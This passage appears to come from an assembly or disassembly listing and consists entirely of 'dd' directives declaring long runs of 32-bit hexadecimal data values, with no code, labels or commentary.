0B6C6705Fh, 3900DE9Ch, 2D8068E6h, 97FCFE93h, 5FEC6716h dd 0CFFFF338h, 0BE92E3DBh, 0FA8BE530h, 0FD9D250Bh, 0B6C1F6A5h dd 0C11AE0CBh, 201501C6h, 8FFB44FDh, 93C66EAEh, 666005BFh dd 0D52029B9h, 0C241FB06h, 2DF19589h, 82A6742Eh, 0FC2401E4h dd 5229CCBEh, 8DBAF500h, 0D97379DAh, 0C2043A27h, 0EDAD788Bh dd 0C11EF56h, 7A2EA55Eh, 493328Dh, 60651290h, 0A9D2DF02h dd 961AD9Ch, 6A12E985h, 0C453770h, 0B563FE2Fh, 8BE713B1h dd 1AC4A4FBh, 0B4D24667h, 29ECED37h, 3E649511h, 71AD4299h dd 0C850179Fh, 7300D36Fh, 6F62651Bh, 0B860E5Bh, 549B1E8Ch dd 27F6425Ch, 52D62F63h, 27737ADh, 0D94B22E6h, 0BDB3C45Fh dd 1220F204h, 0FB5025B3h, 9D2B4B35h, 0C59B2B01h, 0EA511380h dd 912CAFFh, 2DD2C5B5h, 0DC907CD1h, 0CD7F3A0Ah, 6B60C466h dd 4B59D4D3h, 38488A90h, 0A7A5A45h, 6539EF00h, 4B1770A8h dd 4C8C3C01h, 26AF88Bh, 99007038h, 57BB50E6h, 0E5540DBh dd 3B5FE5F2h, 0DABFBD63h, 9BD8F0Ch, 0C44E71D1h, 953A88BEh dd 0BD311127h, 7A030006h, 0A14D33B4h, 16F30495h, 0B6D26CB9h dd 0BD5FE02Fh, 0FA010040h, 0F7D471C9h, 0B2C45269h, 5F041CE5h dd 7FACB290h, 6BA2484Ah, 289538Ah, 5F5BF262h, 0F805AA5Ch dd 94819022h, 0CA2A346Dh, 5A204B14h, 2FB88CBh, 920B3403h dd 9C5CD333h, 808637C9h, 5DECEE56h, 2E09773Ah, 21ADD75h dd 921E9FFh, 3EA98959h, 0D8F4BB93h, 4DC7B56Ah, 0AE601B44h dd 0A70584B0h, 0A04AA276h, 2C203EACh, 920B74B0h, 821A67ADh dd 0F3297916h, 201ED02Ch, 0F1FD6C24h, 0C45B0A90h, 8C9FADF5h dd 160F37FEh, 0EDB0DFB7h, 80BB8F37h, 0E6773025h, 5F91BD70h dd 0DA63E002h, 1AAD7F00h, 8885D5D3h, 17A204E5h, 0D94BF58Dh dd 57063AC7h, 1871819h, 6129BDBBh, 2EFC71E4h, 84B98748h dd 0B814E380h, 4ADE906Fh, 21856FDCh, 602518A9h, 97DD8A69h dd 0C82B4D00h, 3A00F4BBh, 0D18B301Dh, 92ED9D01h, 0BD638B5Bh dd 179C5100h, 1829ED7h, 0B4ADC9AEh, 71C29B5Ch, 3943A55h dd 0A5018C08h, 0E002456Ah, 1AC4157Dh, 0E59D9CC2h, 64465C2Eh dd 811C5810h, 4187C81Bh, 8749BB81h, 0F32B7D39h, 109B50E4h dd 9EB7F012h, 272249E2h, 8A821EC7h, 1909A5D5h, 518388FEh dd 274D6225h, 0A008805Eh, 97CDE2C0h, 8D45130h, 2EE6ED4Ah dd 2899B5F0h, 0AED46217h, 23750BD1h, 0D203A23Bh, 0F9806F9Ah dd 0BF934F25h, 0A6054D79h, 8FCB91Ah, 0B1925FF8h, 0ED9B2B2Bh dd 8116FD92h, 26399D2Bh, 0B920C606h, 23FC2816h, 2BC9C5EDh dd 0C0EFDBC0h, 0B292F890h, 902D78E7h, 5FDA25BBh, 0C7D0D553h dd 0F03AFD08h, 194171EBh, 26366D2Bh, 9FEB05Ah, 14D338ABh dd 84C6A796h, 0B949A9DAh, 6E91CD7Bh, 71FF3CEh, 0B4D70039h dd 0B09F331Eh, 0BE602F00h, 0A878C801h, 0EE6B122Dh, 178E2AFh dd 9C9EEB81h, 6B6E473Fh, 192352h, 46032DB0h, 66BFC2C0h dd 0F780026Eh, 31F860D9h, 65250A63h, 0B78CCE61h, 3C4057EDh dd 1D4D70DEh, 2371E90h, 0F419D0Bh, 0A1459D55h, 0BB4AF874h dd 0C04FBC09h, 0D5158935h, 94954470h, 0DE635E7Ch, 5EB6C91Fh dd 2BA03F58h, 4F76EFE8h, 0B80D201Ch, 60874F25h, 264CA7EAh dd 794ED490h, 0A3B3E412h, 0E19CF04Ah, 0A1B5290Bh, 0C4B4CE23h dd 130436E1h, 5B80A6A8h dd 0D09A2BB0h, 18D6C39h, 2616538h, 282E23B9h, 41C0316Bh dd 0F64DFFBBh, 4E14970Dh, 60DB93EBh, 29C9E3ACh, 5F1F2504h dd 2C37ADh, 413E61C9h, 1890DC71h, 0D01BD12h, 0A692D7A9h dd 12FAA0F7h, 4B50985Dh, 0FB9785FBh, 9200176Eh, 0D4AF0DB8h dd 125DC8Ah, 0B16B7685h, 2A1695AAh, 411AFA8Ch, 0FA788001h dd 73DACCBFh, 1F9A9506h, 2600E066h, 0E0713D08h, 568FB3h dd 5CFC498Eh, 2B37BC43h, 958CE34Bh, 0BBCF0281h, 506BA687h dd 544BB97Ch, 2B5BC02Ch, 1B2D67A7h, 0E4FE6739h, 5F736214h dd 6F6AD6C1h, 0D1C19ADBh, 3E32A1BAh, 50F8810Bh, 0C12F01CCh dd 0D6059C68h, 0A204E78Ch, 7348FE63h, 6AC0219Bh, 2DE06BAFh dd 6D83F325h, 60176450h, 7F4FD334h, 95D704D1h, 0B844D8F8h dd 0E948DEE1h, 0AB04FCBEh, 0D3883301h, 2BA789FAh, 87C2E134h dd 9EFCA8BDh, 5DBD6225h, 0F000A7CEh, 0F86C4D94h, 6102Eh dd 1EBF4678h, 268BC9A4h, 0C45D0D25h, 0DED194AFh, 1B1F9B01h dd 0F8779671h, 81C4302Eh, 9F04BDC7h, 6897819h, 9E007CB2h dd 18B8D7E1h, 792E7CD5h, 0AF1EF9BDh, 4BA4CCE5h, 0EEA084FAh dd 9F090E6Eh, 0B07160ECh, 3855BF00h, 244F5254h, 6092F386h dd 0E05D8267h, 76E6EF00h, 0CFC1993h, 41009FC2h, 5A38EAF0h dd 0BD096109h, 503A41A9h, 2F2DB4BCh, 0CF80F182h, 2F73F45Fh dd 0C4A735BDh, 22C75C2Bh, 9D09DD04h, 6813B03Dh, 97F5060Bh dd 752A4A1Bh, 5B498FD4h, 0F6F902DBh, 0EDE11B88h, 1E842BEDh dd 84252AAAh, 2EA5037h, 36C4685Ah, 6C002171h, 0B025206Dh dd 63BB0266h, 3CB750EBh, 4D55336Ah, 7668C014h, 59059DDDh dd 6ACF886Fh, 891FC91Dh, 40CFE524h, 0E1533ADBh, 0A6CCA04Bh dd 0F2E09F88h, 5C820DDDh, 0CDDE5A1Dh, 60A0B042h, 4DC16Bh dd 0BDE674D7h, 0E1AF641h, 9ED01761h, 282E5B40h, 40D36B51h dd 25AA6FBAh, 481B7095h, 0D34F1C01h, 0F9845CE4h, 0EA3AE925h dd 0F489620h, 7819508Eh, 7F89880Dh, 79E4200h, 39FFAF3Eh dd 0F4D23D55h, 0C9BFFC4Ah, 0D759795Fh, 7E845117h, 0C16EEAh dd 0BFE80A02h, 4B872971h, 2256CA3Ah, 78919355h, 4E094AD8h dd 161D1C5Eh, 5D276920h, 8060F540h, 8909F00Bh, 97EBDEB5h dd 2FAECD61h, 3D894DDCh, 0CCCB0A13h, 31776071h, 268EA549h dd 112F353h, 6158BA81h, 0A0A4CA2Ah, 0BC4FC91h, 7A5440CAh dd 0D9E2F95Ch, 7273091Ch, 25E135AFh, 0D3042CD8h, 21B52995h dd 979673A0h, 11026A61h, 0F1EA5F53h, 3EB1005Dh, 94267091h dd 6925EB01h, 43A7078Dh, 4804AA91h, 78CA1414h, 0FEF6D3AFh dd 80ACFCF0h, 0F412A3ECh, 9EADDE8Bh, 0A06AB6D2h, 7C59637Bh dd 5F512B85h, 0E74C3BD8h, 36EE0225h, 0C5DB8012h, 0F1633F3h dd 0C758887h, 3F930613h, 5153228Ch, 0E3F9E60h, 83A5619Ch dd 5F34EBC2h, 22FDBBFh, 46B41F2Eh, 271B5E33h, 0D07349DBh dd 5E5795B4h, 0ECCB0FEh, 8FBDB383h, 12E47A49h, 0F7986DCBh dd 499A5A4Ch, 55F89980h, 67049D0Bh, 2E39BD33h, 9AB443BCh dd 29DC9E5h, 1B3D51h, 99D38153h, 527A6813h, 0E09B4D53h dd 0A8724A80h, 76286FC7h, 3D20FF9Ah, 0F8B32415h, 2284C95Eh dd 5B92EDCDh, 7AFFDA12h, 440325FDh, 358E007Ah, 89699954h dd 9100572Eh, 0DA40906Fh, 2756B2FEh, 20F95FFCh, 5AEEDC83h dd 47B9986Dh, 14B60B38h, 95A97E69h, 9BC2B56Dh, 0ADC4C1E7h dd 0F508837h, 0BD913FC7h, 0E0652F04h, 0D239BD18h, 7FA0A7E6h dd 2E0B4145h, 58CA2C5Fh, 23214103h, 0C3E70033h, 0A55C5E0Eh dd 0FE8C39E6h, 66FFF600h, 13C98D09h, 44489C97h, 58CFFC25h dd 502510DDh, 2790FD90h, 0AAC28500h, 0E02B42Bh, 0EB4A010Fh dd 990A3D43h, 81A55497h, 55487E61h, 0C0E3DE88h, 0AAC7BDE4h dd 0E82B29BEh, 0AFA503E4h, 0C6C863BCh, 0FD0B5ADEh, 0A7B7AA46h dd 5B7639C2h, 0E862584h, 0D48037E6h, 768CBE7Ch, 1A712731h dd 83D8E22h, 0CAD87675h, 0E550961h, 64C7D371h, 0F4F6D60Bh dd 8AE0A83Ah, 0BC522E0Ah, 7124A909h, 935C69D7h, 0E57A00D4h dd 11235A5Ch, 6B4B2431h, 7651C282h, 0E2194082h, 44077C2Ah dd 5B616018h, 6BAF7119h, 74DC1774h, 233A048Dh, 1C1965BDh dd 0D3854BBAh, 56C1330Bh, 0ED4DEB1Dh, 0F09F7340h, 9D5C04B6h dd 0A8DD8531h, 5190026Eh, 0C6C78B60h, 0DBA3001Bh, 3250583h dd 7507C2BEh, 0C90BC1D9h, 41F8B500h, 83A2516Bh, 8AA9B43Eh dd 0D9BCF44Bh, 49B853B0h, 25958C09h, 0C32C5D5Bh, 9A9DCF70h dd 0ED1E6007h, 6A61801Fh, 80F7379Dh, 20698E36h, 0A32F8CC1h dd 39EE8211h, 0BE040B17h, 5825405h, 614504D2h, 9E53AF02h dd 21CD77EDh, 59774BE0h, 0CDF804E1h, 0B8F324B9h, 4B6E4FD2h dd 34D9CE02h, 6156DF19h, 0CA892D60h, 549F613h, 6D289A93h dd 0EABF12C4h, 6449ED67h, 29B90014h, 0BF13471h, 9103C419h dd 0DF03949Eh, 5F2E255Bh, 52803079h, 87417C7Dh, 0D114C59h dd 5F464805h, 0B8CAB990h, 8C760009h, 2F6C0AEEh, 0D05845ACh dd 0B0B30BACh, 0F939A416h, 1E210989h, 57BE735h, 0ED0FB9F4h dd 413E8E8h, 4E42CFD0h, 32610F26h, 2DD024F2h, 6E01BEFCh dd 2B6CC696h, 4828880Fh, 0FF0927C1h, 0C0985BD1h, 8B6269B0h dd 0DC130401h, 0ECE566FAh, 43AE961Eh, 7D2D7270h, 21538D88h dd 0B4753F16h, 0ABB291ACh, 0AD0B8925h, 69915616h, 8F504B5Bh dd 4CDE0160h, 2809FDAFh, 0D4F03B72h, 241D4DA5h, 60E84454h dd 0CBF3390Ah, 0CC010419h, 5682363Fh, 50205B1Bh, 510644E9h dd 0AABCA809h, 9B047D45h, 0A1C1E85Fh, 36A6D98Bh, 19A5094Bh dd 0D997C1D0h, 951AB7FDh, 4E9BCAE2h, 0A2008F6Ah, 911C3207h dd 9A62E9A6h, 69FDBD7Eh, 9D645B96h, 0C45764BFh, 0B79FBC0Eh dd 96189E34h, 299B6587h, 12959478h, 0AF67DBB7h, 0FCA2BC57h dd 46EE5000h, 51E804C5h, 0DD4BF8E2h, 0D53CA9CDh, 54A36181h dd 41EBC0DFh, 90D21409h, 0C6B8CA60h, 61CA00F9h, 0A3BD6879h dd 80788C50h, 0DE38D73Dh, 0D27E4630h, 7432002Fh, 0FA768FD3h dd 0E27D998h, 929A7C14h, 0E033A690h, 4E4BA12h, 1AB5AA0Ch dd 355A810Bh, 0B202D30h, 56FCFDF3h, 927652D8h, 0CBFB9FD4h dd 0D0F99D8Bh, 0D9F84B21h, 0DE534CDFh, 2294234Bh, 8AC3BFB8h dd 0BBC86ADDh, 8FE135Bh, 4ABF99B8h, 714453CDh, 859488F6h dd 8D89020Ah, 94572605h, 0C15452Ch, 730054E2h, 0E665174Ah dd 74B5E1CCh, 0B0F826AFh, 29F98802h, 6470B13Fh, 0AA0514FDh dd 0A1959D06h, 8068B1D7h, 0CF097AD6h, 14BEE65h, 2FD885D2h dd 55E185A6h, 51880B97h, 7AD4255Ah, 0B56A1050h, 9D843EF1h dd 0C14901F1h, 1D5B5918h, 0D466601h, 0D4B99D7Dh, 4A3D3330h dd 250FF231h, 252FF18Bh, 0D99DAAC4h, 3C899980h, 0D161961Bh dd 79705BBCh, 80034483h, 0D0DCE727h, 811D40BAh, 1290EF5Ch dd 0A1F02A40h, 0DFBF250Fh, 6F209EE2h, 0ED5926Dh, 3825D801h dd 0DFBAEF84h, 23EE9C2Bh, 20659D11h, 0B5813D22h, 4E003DF1h dd 929DCCF8h, 22A5F2DFh, 0BD231226h, 0A5E1F4F9h, 31FE17A1h dd 0AC65314Ch, 62209F0Eh, 3229573Eh, 5E5B7931h, 1440C2A4h dd 6A57E109h, 0F035A63Bh, 92FA96CAh, 0B5B680FBh, 0AAD3B534h dd 128737Ah, 0D1091416h, 0CEA32A32h, 9FBCC05Eh, 852529CAh dd 61850179h, 4ED274B9h, 51810784h, 500B1948h, 0E51ECEDDh dd 0E391F825h, 18DBF8C3h, 1C53011Dh, 0AF073BBFh, 3F5EF279h dd 0C77C01DCh, 2793C4B3h dd 6E0BD5EEh, 0CB417FF2h, 70A6F8DEh, 724FBDB8h, 43015B60h dd 2B2C12D3h, 0E634AFD2h, 0CED8804h, 0FCB5ADBDh, 7B9A455Ch dd 0B23D7720h, 56210098h, 0BA04DF38h, 0E6042566h, 15E12C0Ch dd 0E64B62BDh, 223DF015h, 0BE211E70h, 0C8E91750h, 0DE188635h dd 9DF6959Ah, 956A9A39h, 396804CDh, 17F67461h, 5EB431F8h dd 0EADCC4C0h, 5EFE70C2h, 59506985h, 0D9A445B5h, 0B1651814h dd 9C36801Eh, 21FFE7A4h, 0C0DFCDB5h, 20717DD9h, 7A019097h dd 1BD79DB2h, 39FDB89Ch, 0CA544B3Bh, 98A22C91h, 559DFCh dd 6DF13EDBh, 3DE84CB7h, 0ADFCA926h, 17510573h, 0B6004C18h dd 0E9BBBE10h, 0B54E8D97h, 16648E6Dh, 0CD127861h, 0B4A4C0BBh dd 0E1FF4E12h, 0A9E0E6A6h, 202AFCBh, 8EDED207h, 51D05E41h dd 5EF81231h, 103E51BEh, 975FF551h, 0F845BC94h, 39F03E26h dd 0BE01D8E1h, 925C1DC9h, 0F52127B7h, 0F2041BE1h, 9C1E1D04h dd 8A106280h, 63B7ADh, 0BF81D9B5h, 5CBB6C18h, 4605F25h dd 0CEBC2375h, 0C626409Fh, 0E1802E03h, 89E4B795h, 0A17ABFB1h dd 97F59944h, 28601519h, 0DBEA806Eh, 5B50EE8h, 0F1248726h dd 4169829Bh, 6A6170C9h, 1DC8AFDAh, 17653EC0h, 0AE74E6h dd 95C81447h, 90D88AFCh, 0DF5E0B98h, 0E4F095B6h, 87E82E7Dh dd 8A5BBB06h, 4E58C086h, 539BFA6Ah, 0E07F3B87h, 0F77B6ADAh dd 0BC15D62Eh, 0DD2A5D09h, 0F82039B1h, 780011B8h, 0F645622Bh dd 5AF49D46h, 20C9F8E7h, 0A85F4E0Dh, 3FF83E4h, 0E2BF801Fh dd 4A5125E4h, 5216BE84h, 0BFE588h, 81B0D197h, 0CC169214h dd 0F531B14Fh, 0BDA08B5Fh, 0D70B83F2h, 2C421809h, 74CF0012h dd 6DF4731Eh, 27277018h, 84F5D225h, 3C6054D9h, 1FE76E2h dd 0E6C9091Ch, 0FD0201B8h, 48FD1011h, 659B0055h, 8193BEE2h dd 0FE001295h, 327CF8BAh, 15F59F3h, 0AAFD80B9h, 6A58612Fh dd 0D5F8EAC2h, 7E809231h, 0D714FA37h, 0BC26E9EEh, 0E9FC09A8h dd 3D5D019Ah, 0B3820000h, 1E2C1391h, 0D1F33B09h, 0AE20D1F4h dd 0D3044045h, 2101109Fh, 0AF8643DEh, 343AA6D7h, 0DAB00928h dd 0EDA514D1h, 4BA0C06Ah, 84FAECE7h, 4AAA9B02h, 51853138h dd 1DE425E3h, 1D622590h, 8F068919h, 760229ABh, 0D25B5A4Ah dd 2E05A50h, 5C6137C2h, 0A562D136h, 0F815C6D5h, 0AC7BD61Fh dd 50D8122Fh, 46CBF2F4h, 2FA543E0h, 609B7947h, 0D64D3B68h dd 9CBF7C04h, 0CFBD5342h, 0C94EC40Fh, 0E010B692h, 2414C917h dd 1DBFD41Ah, 872B920Eh, 0F47BA9A4h, 96DAC1ADh, 0F53D4E31h dd 4A63225Eh, 0C2E9EFF9h, 80F73794h, 0A2E62321h, 0BD09121Ah dd 42434FD5h, 0F69DB2F7h, 751FDCB8h, 0E78153F8h, 4B335AE5h dd 7D10C438h, 0FC814B18h, 4A1A1C45h, 9DBC1CBDh, 7DF2DD38h dd 6525EC96h, 627D27E7h, 70DA7309h, 6E004185h, 0B61353F7h dd 44E9864Dh, 6DFE2921h, 71C82569h, 2902D7CBh, 5C08E1BDh dd 0F2CA924Fh, 844A88ADh, 0BA69B589h, 0A337C53Ch, 2B51E913h dd 81389C2Ah, 0D012EF74h, 0F5BD0A65h, 1F006AD7h, 0C4A7E7B3h dd 0AA563C1Ch, 7A989582h, 0B557677Bh, 84159127h, 8EBD334Fh dd 0A8AEEDD7h, 0F67D007Ch, 1246B5AEh, 0D3048131h, 2008A77Fh dd 52FB8884h, 4009EE8Fh, 4D62AAFBh, 49090FDEh, 0AC817915h dd 44B13DC8h, 0F825EDC0h, 9321015Fh, 0AEC55032h, 9B6B2F8Ah dd 4B021723h, 0D1FBF09Ah, 0D6590041h, 69689537h, 4ADD4A56h dd 6F02DBA2h, 0B615E489h, 91A08475h, 7A042B4Bh, 5B2AD20Bh dd 915335D7h, 0E0E6801Dh, 3991559Eh, 10BD5EDDh, 4CD9CD4Bh dd 5A00D73Ah, 60DDEB4Ch, 2780875Ch, 713A33F7h, 1500DFBh dd 2C1002B4h, 27E78065h, 0F631F85Eh, 0B80409E5h, 1C135AE6h dd 0C2B54492h, 2A96D5C7h, 2D47FBCh, 0AF8FE2DCh, 53403446h dd 128319D5h, 0F72C710Ch, 185F4CC7h, 16E101Ch, 263126B5h dd 56775200h, 0E26D4B0Fh, 6611464h, 50566496h, 0A6137F9Dh dd 0B8C8F9DCh, 0C892027Eh, 637D83D3h, 0F800BDC6h, 960F8AFAh dd 54726F5h, 107B5DDFh, 8A6E310Dh, 5A301517h, 2485AA7Ch dd 6076AE57h, 94BA222Fh, 9BC6CF0Bh, 0E2515C5Fh, 5E1E2B65h dd 0B07DB76Ch, 2CDA9E1Fh, 1E8BDF6Ch, 74AAADEh, 41FBEB6h dd 0E484EB7Ah, 7DDBEE34h, 0D85601C0h, 13BD269Dh, 0D029B0A7h dd 0A76F005h, 0A1940421h, 75D700E7h, 8C4DB4DCh, 16A56F2Ch dd 2E3AEBE0h, 0F7534A6Bh, 94F64F91h, 821231A0h, 0C0219A01h dd 9F494357h, 0C787343Eh, 0BA1624DBh, 1823B26Fh, 1407A400h dd 0A6572B08h, 845A2983h, 0FA7F968Fh, 2F30F240h, 98341E0h dd 5FAA746Bh, 70A8B679h, 4EB21497h, 0B1AAA757h, 0BE705455h dd 0DB074B69h, 0C7B0D1AEh, 3830B962h, 0E0736A02h, 0C65A2E3Fh dd 0E1FD4506h, 0A53D2E67h, 2D6B6A6Eh, 79D686h, 2EE9F1CBh dd 0FBB7FFF3h, 0F65B7866h, 546E8C01h, 9D0960F8h, 66ACD03Bh dd 982FD0BBh, 2514F261h, 427B1B19h, 6913899Fh, 35A98956h dd 446E4Fh, 1779C69Dh, 257E3A8Ah, 65E6C55Ch, 8483535Eh dd 765E665Bh, 69F18F55h, 1634BCCCh, 5A03CBFh, 72C8124h dd 29AEED6Eh, 9DEFB54h, 95945850h, 52256A71h, 0B0AF00DDh dd 496BC61Fh, 0ED258257h, 0A44D7h, 6C724615h, 56365B37h dd 3FFC08D2h, 894CBD97h, 807FF996h, 0C56EFF2Eh, 3D0051BCh dd 0A7DE880h, 721D68D9h, 0A14012A5h, 2BD6F15Bh, 16048C6Eh dd 0C0BAF6A1h, 8206FAEAh, 0C9C2F2E5h, 5F8BE07Eh, 0AD481390h dd 0B4CEB6DBh, 9104F834h, 0F8F3BEC2h, 80C580EEh, 0E9CC0A0h dd 9BCA810Eh, 892B95E0h, 0F95F8608h, 1A07C8A2h, 20B532D6h dd 4BFA1BD2h, 9AFB911Ch, 921F1C00h, 5EE0E2FFh, 8583A88Bh dd 59F66A5Fh, 367551F0h, 9C8F807h, 521C35BDh, 0ADB52531h dd 276A6E61h, 747EA2F3h, 807CA510h, 897097F4h, 7EE88095h dd 9D18B3DBh, 0B3DE0E09h, 521600F6h, 5667A189h, 5B09F98Ah dd 0D23D1FFh, 282EAFCAh, 408A71D4h, 9712F524h, 6776D49Ah dd 7EAB00D4h, 0BF42E643h, 77748FBAh, 0D192F801h, 0D88B502Eh dd 0E87B6Fh, 0D966A6C4h, 2F26919Ch, 0EB90BB3Bh, 0CCFAF6EEh dd 92E2425Dh, 0B8B94816h, 0B88F4A78h, 6AF7E234h, 0D6DD72Ch dd 75F594C2h, 0CD25706Eh, 3F53D1Ah, 9CC7FF9Dh, 1F3FC0BDh dd 62B5175Fh, 1BD416Bh, 3A5DF512h, 60BFCD64h, 553BE85Eh dd 0EF05EC4Fh, 44BBDF8Bh, 119B3F39h, 95125AD9h, 0BD9782E2h dd 2F1A8F6h, 0DBBCC7DFh, 7B5E3DCAh, 0BEB77D6Bh, 0A0C1C49Eh dd 800FC064h, 8028E22Ah, 0F1FCCCF3h, 55FD00E3h, 1A749BFEh dd 0F55F93B4h, 0D09692B9h, 322EAA18h, 72AEFD00h, 6525AF04h dd 5687278Ch, 84039D0h, 3D52985Bh, 0B58D51FFh, 0E71730C9h dd 4594BFBCh, 89A6B9FAh, 1CA57BFEh, 42C420D9h, 0B00E354Dh dd 0EE9D0B07h, 2B9AF4D2h, 1B55BD10h, 352AE092h, 8DD2C64Bh dd 9DA22CB4h, 8DC9094Bh, 0BAD97885h, 9377EF06h, 0C3A259D0h dd 0CC55021Bh, 0C42D5BEh, 0E98BA2D7h, 0D9FC1A16h, 3379C325h dd 0DF5D2B53h, 4F7D1BAh, 63BB3006h, 2227570Dh, 198102D8h dd 7F6E7F31h, 4E24895Ah, 512D7CB8h, 40A47C1h, 9F2491D4h dd 614074B9h, 243850E9h, 0F6C4BD9Dh, 920F9B5h, 6E7942B3h dd 0CDB82114h, 0A5FDAF49h, 63FE1742h, 224C285h, 5A8C9589h dd 0B097F880h, 4A1DC869h, 506FEDh, 2725613Eh, 19FDB280h dd 7E56432Eh, 5CD53A91h, 0BCF0CFF6h, 6CE488D5h, 5A156016h dd 14AC5DBDh, 519B3E8Ch dd 0C1DAC79Ch, 0B95B05B5h, 34972EA1h, 3B79F3D1h, 0B673162Fh dd 0B232E023h, 0B86B0247h, 0E6CB80CCh, 4FB54360h, 3E81FC3Ch dd 3D8F06CAh, 0F70C02Bh, 14446AB1h, 5D2AD20Ch, 0EFF7634Ah dd 0A2311CF2h, 650598FFh, 4EBB00ACh, 0D424BFBDh, 4294148Bh dd 0D34A0BDCh, 0CF092685h, 37B77172h, 6A6D80EEh, 69CB23B4h dd 20EC3B5Eh, 66E50F25h, 46F82EA1h, 6E790E7Fh, 0BD92F41Fh dd 8C15ACE4h, 0F9E29416h, 0BB822ABDh, 845EB0CEh, 43999F56h dd 0AAF5EC3Eh, 0F6A7041Eh, 287B9501h, 232FC864h, 22C08A7Bh dd 112515D1h, 1A4AE55Fh, 0ED572654h, 0BCC5E415h, 4BB973Ch dd 5208F56Bh, 90420E3h, 0EF0C9185h, 84C0F7ECh, 181080D5h dd 7800BD7Ah, 0BA6B39CDh, 3B0767A3h, 7C89AB21h, 0AB01E1FFh dd 2EA996F7h, 8A47FC28h, 6D702E5Bh, 0D4C70207h, 0F98B10FDh dd 32501E5Eh, 21BD9504h, 75B7F30Bh, 6D4854BAh, 5C821389h dd 0DC25948h, 25D6A3Eh, 82B960B4h, 8D4FC8B1h, 121D9C39h dd 69203061h, 170706C9h, 8368AF91h, 0C321810Eh, 446095E0h dd 0A12366E1h, 714BB060h, 103749D8h, 0D72AD3C7h, 8B8F41DAh dd 37BF5063h, 0B15D23E1h, 137D7C6Ch, 0F6816D81h, 2F617AF2h dd 0AF195D48h, 234A2278h, 0B83366DDh, 0FB4FF113h, 55E64D12h dd 0C311CB2h, 1239D2Eh, 1503318Ah, 0DF375005h, 0A4A8BBC7h dd 908309DDh, 13C4F00Fh, 809AB850h, 0D39F0C07h, 78A00008h dd 3F6C3AD0h, 9709D716h, 0D4C72EB9h, 0F5A7C0B0h, 5B254187h dd 89B11890h, 1DF920BDh, 2AC5C0A0h, 0E38073A0h, 31684802h dd 0F11F0873h, 69DE258Bh, 0A92AB68Fh, 9A55891h, 1F1770CEh dd 129306B7h, 0D27188h, 82FDFEDFh, 0A27D100Bh, 0CB72FF00h dd 0C82CC5DEh, 2F4309BDh, 635B5BF5h, 16835ADh, 60611314h dd 30E72AF0h, 450FEB02h, 5B2975E9h, 0A11DDh, 0CA5ED4D2h dd 75608722h, 811A0FA6h, 0BB2467D3h, 4FE2B840h, 2FB0ACE7h dd 48259720h, 82FFC6EFh, 7EA95FDDh, 0DD566942h, 3C39576Bh dd 0E3242E41h, 85FBDBBFh, 8B00E03Dh, 3394AED3h, 0C052D9Dh dd 1A794FDBh, 0F20E9118h, 236B980Ch, 11BBB7BCh, 160335B4h dd 0BF6F0446h, 4BDC9200h, 78F75D43h, 0CE13964Bh, 0E80943E8h dd 0CF661B5h, 0B806BF81h, 12A167DAh, 801C9FF0h, 57458DE7h dd 0A1272D6Eh, 4B20DAA3h, 6B42CD96h, 12A53C2h, 0F5605168h dd 9DC02EE3h, 4A1A3AEh, 0D19D291Ch, 0D30EBD0Eh, 3879B930h dd 0E721668h, 2E7FB03Fh, 6A027782h, 0FC70EBC9h, 2751B7BDh dd 8D85105Ch, 75BB0815h, 0DAFE818Ch, 8C8B4218h, 0FA92B659h dd 0F6D7E0E3h, 0A9CFA121h, 0BA507850h, 44401DDAh, 176BA49Ch dd 0AE278491h, 0E155F32Ch, 0A094B72Ah, 882A36h, 0AA02F8A0h dd 0E9FFE3EBh, 0E9A7464Fh, 134694B0h, 2B0B9B01h, 0C2CEB977h dd 4B712E60h, 0EC12CE1Dh, 961BF48Dh, 7B4BCFh, 0B82D70h dd 0E88E07AEh, 17B32F4Bh, 74379497h, 363DB535h, 0AD977425h dd 12A5A1F8h, 8251069Ah, 0FB13259Fh, 2D75BEFAh, 48D302D5h dd 120A54ADh, 712DAE20h, 4FB86A3Fh, 0EE9EF0h, 52FD8765h dd 0C039F9BBh, 0E65B2125h, 42B3263Ah, 8A60034Ch, 0B6B561C6h dd 0ECEFE459h, 2963028Ah, 5521FD85h, 1BE453CDh, 0AB591160h dd 0B7E40305h, 0C3AC3890h, 18128D4Bh, 9D120196h, 8BBD1165h dd 195552CBh, 302E5BA9h, 2DF81B7h, 53207612h, 3B21B8CDh dd 0A8C1A2Bh, 0C4278856h, 0E325032Ah, 0A10C7111h, 0C293F190h dd 3944C198h, 921A975Fh, 0C60033F1h, 0EF065117h, 0C80528ACh dd 34AD3497h, 0D379AC35h, 1AB852BDh, 73B1C704h, 5605A111h dd 0ABC3645Fh, 0BB813037h, 287B148Eh, 0E05FDEFh, 0B5F24B0h dd 70AE0294h, 0DDC3BB27h, 1E309424h, 0F9870F09h, 0FDDF16D8h dd 0D8EE7D6Bh, 0E9950109h, 52637619h, 0F7E07A4Dh, 2E43A18h dd 3185748Ch, 735C8670h, 25B7906Ch, 72C561C7h, 9FA0F027h dd 2DE03AEDh, 342C2h, 5013B396h, 0D667E1BFh, 0F1953D79h dd 99770139h, 60DF31FAh, 390069ADh, 2F0BCF0Fh, 27834F15h dd 627F9D03h, 5F31DDDEh, 0DBDFF731h, 5C5ADC5Ch, 5801D439h dd 8410BC4Eh, 612F3407h, 2F208727h, 0B80F35A7h, 0DFC0C9F0h dd 8017BF15h, 0AD00C273h, 2272F442h, 4A78A99Fh, 3449C293h dd 75AE5F05h, 0FB9AAAD0h, 42605EC9h, 0F94B4D83h, 4C22488Ah dd 26342EFDh, 13F46EBBh, 4EECFB3h, 0B2B8161h, 0F4A4F4C6h dd 734BFDFEh, 626B3D8Bh, 0CDE2306Bh, 7BE36255h, 27087060h dd 0CF058D00h, 4CDCADA1h, 999D2633h, 96019FB3h, 0C198D20Dh dd 0AF63A4E0h, 60231897h, 7ACF0580h, 0BBC99D29h, 99904749h dd 6AECEC4Dh, 4D9D0BA9h, 0C42005DBh, 0A3BB505Fh, 25DFD13Dh dd 0C03DCD90h, 0C38DDB3h, 4D325E07h, 89B27FCAh, 9240DCB5h dd 0C0DBAF5Bh, 4AAE85C3h, 0EA3A5EE8h, 7DE22A4Eh, 0FFAA1E00h dd 0EC7C928Ah, 3BEF6B01h, 0B59AFEF2h, 2FFCD0ECh, 56B76A95h dd 9D3A4381h, 0B632140h, 6AB5FA00h, 0C4898F6Ch, 0C7960103h dd 0A0BB665Bh, 80CEB3A1h, 0F39FBDF9h, 3FBAD0F8h, 0D15B5425h dd 0F3A2C2Bh, 0BB21DE64h, 0FF42D780h, 3ACECBA1h, 0DA042FB2h dd 400DE990h, 0C61873E2h, 0F79388Eh, 36D14581h, 